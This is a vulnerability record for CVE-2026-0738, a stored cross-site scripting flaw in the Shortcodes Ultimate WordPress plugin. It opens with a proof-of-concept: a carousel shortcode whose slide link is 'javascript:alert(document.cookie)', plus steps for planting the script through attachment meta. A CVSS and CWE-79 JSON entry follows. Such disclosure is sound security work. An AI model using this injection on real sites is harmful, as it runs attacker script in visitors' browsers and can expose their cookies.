CVE-2026-0738

<!-- PoC for CVE-2026-0738 --> <!-- Attacker injects JavaScript via the 'su_slide_link' parameter or attachment meta --> [su_carousel] [su_slide source="https://placehold.co/600x400" title="XSS" link="javascript:alert(document.cookie)"] [/su_carousel] <!-- Alternatively, if using attachment meta directly: 1. Upload an image. 2. Edit the attachment details. 3. Set the 'Link URL' or custom 'su_slide_link' meta to: javascript:alert(1) 4. Use the image in a carousel shortcode. 5. View the page to trigger the XSS. -->

{"cve": {"id": "CVE-2026-0738", "sourceIdentifier": "[email protected]", "published": "2026-04-04T08:16:06.210", "lastModified": "2026-04-24T18:13:28.877", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The WP Shortcodes Plugin - Shortcodes Ultimate plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the su_carousel shortcode in all versions up to, and including, 7.4.8. This is due to insufficient input sanitization and output escaping in the 'su_slide_link' attachment meta field. This makes it possible for authenticated attackers, with author level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/changeset?old_path=shortcodes-ultimate/tags/7.4.8/includes/shortcodes/carousel.php&new_path=shortcodes-ultimate/tags/7.4.9/includes/shortcodes/carousel.php", "source": "[email protected]"}, {"url": "https://research.cleantalk.org/cve-2026-0738/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/5bfc718a-408b-4389-b03b-bfe152ed7b28?source=cve", "source": "[email protected]"}]}}